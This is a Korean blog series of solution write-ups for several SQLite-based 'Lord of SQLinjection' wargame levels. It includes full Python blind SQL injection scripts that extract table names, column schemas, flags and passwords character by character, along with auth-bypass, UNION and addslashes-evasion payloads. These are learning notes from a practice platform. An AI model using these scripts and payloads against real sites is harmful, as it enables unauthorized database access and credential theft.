온전히 내 힘으로 풀 수 있었는데.. 아쉽다..

 

문제는 다음과 같다.

일단 앞선 문제들과 동일하게 Hello admin을 띄워서 blind injection을 시도하는 것 같아 보였다. 1차적으론.

그런데 빨간 박스 친 부분을 보면 flag값이 member table에 없다. -> 즉, 다른 테이블에 있는 정보를 끌고 와야 한다.

가장 먼저, pw를 우회하였다.

pw = ' ' or 1=1 -- ' 

Hello guest 우리는 admin을 찾아야 한다.

1=1 이 들어가는 조건에 id = admin 조건을 넣어주면 Hello admin 메시지를 볼 수 있다.

 

우리는 flag가 있는 다른 테이블의 이름을 가장 먼저 파악해야 한다. flag_ 로 시작하는 힌트를 받았으니 like '%' 를 통해 찾아낼 수 있다.

일일히 찾을 수 없으니 자동화 코드를 작성하였다.

import requests

url ="https://los.rubiya.kr/chall/poltergeist_a62c7abc7e6ce0080dbf0e14a07d1f1d.php" #공격URL
cookies ={"PHPSESSID": "rr4mc4n49f9nhj3ofhg6aphahl"} #쿠키값

#테이블 길이 찾기
def table_len():
    len_num = 0

    while 1 :
        len_num = len_num + 1
        value = "' or id='admin' and length((select name from sqlite_master where name like 'flag_%'))={}--".format(len_num) #injection payload
        parmas = {'pw': value}      #url에 GET으로 전달하는 파라미터
        response = requests.get(url,params=parmas, cookies=cookies)
        print(len_num)


        if "Hello admin" in response.text:    #응답값에 Hello admin이 있으면 반환
            print("password length : ", len_num)
            break
    return len_num

#테이블명 찾기
def table_real(len_num):
    pw=''
    for i in range(1,len_num+1):
        print(i,"번째 검색 중")

        for j in range(48, 122):  #아스키코드값 48번부터 122번
 
            
            value = "' or id='admin' and substr((select name from sqlite_master where name like 'flag_%'),{},1)='{}'--".format(i,chr(j))           #injection payload 
            parmas = {'pw':value}
            response = requests.get(url, params=parmas, cookies=cookies)
            print(chr(j))

            if "Hello admin" in response.text:       #응답값에 Hello admin이 있으면 반환
                pw += chr(j)    #chr(): 아스키코드값 -> 문자
                print("password  : ", pw)
                break
    return pw


table_real(table_len())

Sqlite에서는 information_schema 같은 테이블 대신 sqlite_master 를 사용하고 있다. 

그래서 

 length((select name from sqlite_master where name like 'flag_%'))

를 이용하여 flag_로 시작하는 테이블명의 길이 먼저 파악하였다.

이때, length 안에 select문이 들어가는데, 괄호를 안 해주었더니 정상 작동 하지 않았다.. (유의!)

파악한 뒤에는,

substr((select name from sqlite_master where name like 'flag_%'),{},1)='{}'--

substr 함수를 이용하여 flag_로 시작하는 테이블명을 한 글자씩 알아내었다.

flag_ 테이블 찾기

실행결과는 위와 같다.

 

이 다음부터가 고비였다.. 

flag_로 시작하는 테이블을 찾았으니 이제 flag만 찾으면 되었다고 생각했다.

그래서 select pw from flag_테이블명 했더니 문제가 풀리지 않았다ㅠㅠ 어떤 특정한 문자열은 알아냈지만 그게 답이 아니었다. (아마도 낚시에 걸린 듯)

select flag from flag_테이블명 해도,, 아예 쿼리문이 실행되지 않는 걸 보니, 필드명이 flag가 아닐 것이라고 추측했다.

그래서 다른 풀이들을 참고해보니.. sqlite는 mysql과 다르게 별도로 필드명을 저장해두지 않는 것 같다. 그래서 sql 필드를 이용하여 테이블을 생성할 때 필드명을 선언하는 것을 참고해야 한다.

SELECT sql FROM sqlite_master WHERE tbl_name='myTable'

이런식으로 코드를 짜야 하는 것!

참고: 

https://blog.int80.kr/74

 

SQLite 테이블, 컬럼 정보 가져오기

sqlite_master Tablemysql 에서 테이블 정보나 컬럼 정보를 가져올때 information_schema 테이블을 많이 이용하는데 sqlite 에는 sqlite_master 테이블을 이용해서 테이블, 컬럼 정보를 가져온다. CREATE TABLE sqlite_mas

blog.int80.kr

#컬럼 길이 찾기
def column_len():
    len_num = 0

    while 1 :
        len_num = len_num + 1
        value = "' or id='admin' and length((select sql from sqlite_master where tbl_name= 'flag_70c81d99'))={}--".format(len_num) #injection payload
        parmas = {'pw': value}      #url에 GET으로 전달하는 파라미터
        response = requests.get(url,params=parmas, cookies=cookies)
        print(len_num)


        if "Hello admin" in response.text:    #응답값에 Hello admin이 있으면 반환
            print("password length : ", len_num)
            break

    return len_num

#컬럼명 찾기
def column_real(len_num):
    pw=''
    for i in range(1,len_num+1):
        print(i,"번째 검색 중")

        for j in range(48, 122):  #아스키코드값 48번부터 122번
 
            
            value = "' or id='admin' and substr((select sql from sqlite_master where tbl_name= 'flag_70c81d99'),{},1)='{}'--".format(i,chr(j))           #injection payload 
            parmas = {'pw':value}
            response = requests.get(url, params=parmas, cookies=cookies)
            print(chr(j))

            if "Hello admin" in response.text:       #응답값에 Hello admin이 있으면 반환
                pw += chr(j)    #chr(): 아스키코드값 -> 문자
                print("password  : ", pw)
                break
    return pw


column_real(column_len())

이전에 테이블명을 찾을 때와 동일하게 안에 select문만 바꿔서 함수를 돌렸다.

위 사진과 같이 CREATE TABLE 'flag_테이블' 'flag_??????' TEXT 라고 나타나있다. 아마도 테이블명 뒤에 오는 flag_?????부분이 text형식의 단일 칼럼인 듯 하다. 

그러면 select flag_???? from 찾은 flag_테이블명  이런식으로 쿼리를 짜면 flag값을 찾을 수 있을 것 같다.

#flag 길이 찾기
def flag_len():
    len_num = 0

    while 1 :
        len_num = len_num + 1
        value = "' or id='admin' and length((select flag_0876285c from flag_70c81d99))={}--".format(len_num) #injection payload
        parmas = {'pw': value}      #url에 GET으로 전달하는 파라미터
        response = requests.get(url,params=parmas, cookies=cookies)
        print(len_num)


        if "Hello admin" in response.text:    #응답값에 Hello admin이 있으면 반환
            print("password length : ", len_num)
            break
    return len_num

#flag 찾기
def flag_real(len_num):
    pw=''
    for i in range(1,len_num+1):
        print(i,"번째 검색 중")

        for j in range(33, 126):  #아스키코드값 48번부터 122번
 
            
            value = "' or id='admin' and substr((select flag_0876285c from flag_70c81d99),{},1)='{}'--".format(i,chr(j))           #injection payload 
            parmas = {'pw':value}
            response = requests.get(url, params=parmas, cookies=cookies)
            print(chr(j))

            if "Hello admin" in response.text:       #응답값에 Hello admin이 있으면 반환
                pw += chr(j)    #chr(): 아스키코드값 -> 문자
                print("password  : ", pw)
                break
    return pw

flag_real(flag_len())

flag_{hash} 테이블 안에 있는 flag값

실행화면은 위와 같다.. 잘 나온다..

성..공..

 

 

※Union select로 빠르게 찾기

union select문을 쓰면 정말 쉽게 풀 수 있었다.. 이 부분은 미처 생각을 못해서 다른 풀이를 참고하여 시도하였다.

union select 문으로 조회되는 tbl_name이 pw값으로 들어가기 때문에 Hello $GET[pw] 로 보여지게 된다.

 

내가 작성한 코드에서 select문만 뽑아 union을 붙여서 실행하면 단 3개의 쿼리로 답을 빠르게 찾을 수 있다..

 

'WEB > Lord of SQLinjection' 카테고리의 다른 글

[LOS] step38. BANSHEE 풀이  (1) 2023.10.19
[LOS] step37. manticore 풀이  (1) 2023.10.18
[LOS] step36. chupacabra 풀이  (1) 2023.10.18
[LOS] step35. cyclops 풀이  (0) 2023.10.18
[LOS] step34. godzilla 풀이  (0) 2023.10.17

이번 문제도 똑같이 sqlite를 해결하는 문제이다.

코드를 자세히 보면 " login success! "를 통해 로그인은 우회하되, 아마도 이 응답을 통해 blind injection을 하겠다는 생각을 1차적으로 먼저 하게 되었다. 일단 pw를 알아야 로그인이 되므로, pw를 한글자씩 알아내야 한다.

가장 기본적인 pw = ' ' or 1=1 --  로 우회를 시도했더니 우회 성공! 

그러면 이제 or 뒤에 조건문과 참/ 거짓을 판별할 수 있는 공격 쿼리를 넣어주자.

처음에 이런식으로 넣어줬다.

( id = 'admin' and pw =' ' ) 거짓  or  (1=1) 참 and  ( length(pw)=5 ) 참?거짓?몰라

일단, 쿼리문에서 and가 or보다 높은 우선순위를 따지므로.. 

만약 length(pw)=5가 참이라면 참 and 참 => 무조건 이 된다. or 뒷부분이 모두 참이므로 거짓 or 참은 결과적으로  이 된다.

하지만, length(pw)=5가 거짓이라면 거짓 and 참 => 무조건 거짓. or 뒷부분이 모두 거짓이므로 거짓 or 거짓은 결과적으로 거짓이 된다.

※ length(pw)=5가 success가 되길래.. 계속 길이가 5인 줄 알고 풀었다가 pw가 맞지 않아 결국 문제가 풀리지 않아서 애를 먹었다.. 그 이유는 조건을 걸어주지 않았기 때문이다. id = admin에 해당하는 pw를 찾는 것이기에 or 뒷 절에도 앞에서 거짓이 된 id = 'admin' 조건을 한번 더 활성화시켜줘야 한다.

어느 정도 공격 쿼리를 짰으니, 빠르게 자동화 코드를 작성한다.

import requests

url ="https://los.rubiya.kr/chall/banshee_ece938c70ea2419a093bb0be9f01a7b1.php" #공격URL
cookies ={"PHPSESSID": "?"} #쿠키값

#패스워드 길이 찾기
def pw_len():
    len_num = 0

    while 1 :
        len_num = len_num + 1
        value = "' or id='admin' and length(pw)={}--".format(len_num) #injection payload
        parmas = {'pw': value}
        response = requests.get(url,params=parmas, cookies=cookies)
        print(len_num)


        if "login success!" in response.text:    #응답값 차이 확인
            print("password length : ", len_num)
            break
    return len_num

def pw_real(len_num):
    pw=''
    for i in range(1,len_num+1):
        print(i,"번째 검색 중")

        for j in range(48, 122):  #아스키코드값 48번부터 122번
 
            
            value = "' or id='admin' and substr(pw,{},1)='{}' --".format(i,chr(j))           #injection payload 
            parmas = {'pw':value}
            response = requests.get(url, params=parmas, cookies=cookies)
            print(chr(j))

            if "login success!" in response.text:       #응답값에 Hello admin이 있으면 반환
                pw += chr(j)    #chr(): 아스키코드값 -> 문자
                print("password  : ", pw)
                break
    return pw


pw_real(pw_len())

위 코드를 작성할 때도 계속 python 에서 사용하는 함수와 쿼리문에서 사용되는 함수에 구분을 하지 못해서 계속 삽질을 했다.. 무의미한 시간 낭비!

길이는 8....

이런 식으로 pw 찾기

성공,!

'WEB > Lord of SQLinjection' 카테고리의 다른 글

[LOS] step39. poltergeist 풀이  (0) 2023.10.19
[LOS] step37. manticore 풀이  (1) 2023.10.18
[LOS] step36. chupacabra 풀이  (1) 2023.10.18
[LOS] step35. cyclops 풀이  (0) 2023.10.18
[LOS] step34. godzilla 풀이  (0) 2023.10.17

이번 문제 역시 sqlite 에 관해서 문제를 해결해야 한다.

 

코드를 보면 이전 문제들과 다르게 addslash 함수가 추가되었다. 그래서 특정값이 들어가면 \ (slash)를 추가하게 된다.

정석대로,,

id = admin' -- 를 시도하였으나, 들어가는 싱글쿼터 앞에 \ 가 추가된다. 아마도 싱글쿼터를 입력하면 자동으로 \를 붙이는 것 같다.

하지만 이상하게도? admin' 만 입력하면 기존 코드들이 보이지 않는다 ? => 즉, 비정상 실행, 쿼리문이 동작하지 않는다..

이게 이해가 되지 않아서 테스트 사이트에서 sqlite를 테스트해봤다.

https://sqliteonline.com/

 

SQL Online Compiler - Next gen SQL Editor

Chart for Data Science SELECT LINE-SELECT ​ LINE-SELECT name as label, cos(id) as cos_c1ab394, sin(id) as sin_cFF0000 FROM demo; AREA-SELECT id as x, id as y FROM demo; BAR-SELECT name as label, id as y FROM demo; PIE-SELECT name as label, id as y FROM d

sqliteonline.com

 

 

sqlite
mysql

 

이전에 [LOS] step16. SUCCUBUS 풀이  에서 \(역 슬래시)가 뒤에 따라오는 문자열들을 무력화시킨 적이 있었다.

 

[LOS] step16. SUCCUBUS 풀이

가장 먼저 필터링 확인하기 1) id 파라미터 : _ . ' 2) pw 파라미터 : _ . ' 분명 싱글쿼터가 모두 필터링되는데, 이 문제를 해결하려면 id 값이 있어야 한다. pw는 모르니 pw 파라미터를 무력화시키면서

sunnie399.tistory.com

 sqlite에서는 이 방법이 통하지 않는다.

Name = ' \ ' 여기에 들어갔음에도 불구하고 뒤에 오는 or 1=1 문장을 실행시켰다.

반면, mysql 에서 id = ' \ ' 은 \ 뒤에 오는 싱글쿼터가 일반 문자가 되면서 뒤에 닫는 싱글쿼터가 없어졌으므로 에러를 뱉는다.

테스트 쿼리와 유사하게 던져봤을 때 쿼리가 정상실행된다. (정상 실행되지 않으면 mysql임)

이제 or 1=1 부분에 조건문을 넣어보자. id = admin 조건이 먹히지 않아 이 부분을 또, 우회해야 했다.

sqlite로 테스트 했을 때 hex값은 먹히지 않았다.

아스키코드 값으로 변환했을 때는 정상적으로 문자열을 인식했다.

 

성..공

'WEB > Lord of SQLinjection' 카테고리의 다른 글

[LOS] step39. poltergeist 풀이  (0) 2023.10.19
[LOS] step38. BANSHEE 풀이  (1) 2023.10.19
[LOS] step36. chupacabra 풀이  (1) 2023.10.18
[LOS] step35. cyclops 풀이  (0) 2023.10.18
[LOS] step34. godzilla 풀이  (0) 2023.10.17

이번 문제는 뭘까.. select id 로 id값을 db에서 가져오라는 것 같은데...

소스코드를 보던 중, 조금 다른 점이 있다면

sqlite_open 이라는 함수를 써서 데이터베이스를 열고 있다. 저 함수의 용도가 정확히 뭐든지 간에 sqlite와 관련되어 있을 것으로 보인다.

가장 기본이 되는 SQLi 공격 구문을 넣어보자. 

id = 'admin' #  주석처리를 했음에도 아무런 공격이 성공하지 않는다

또 다른, 대표적인 주석 기호를 넣었더니 문제가 매우 간단히 풀렸다.!!

 

'WEB > Lord of SQLinjection' 카테고리의 다른 글

[LOS] step38. BANSHEE 풀이  (1) 2023.10.19
[LOS] step37. manticore 풀이  (1) 2023.10.18
[LOS] step35. cyclops 풀이  (0) 2023.10.18
[LOS] step34. godzilla 풀이  (0) 2023.10.17
[LOS] step33. cthulhu풀이  (0) 2023.08.31

+ Recent posts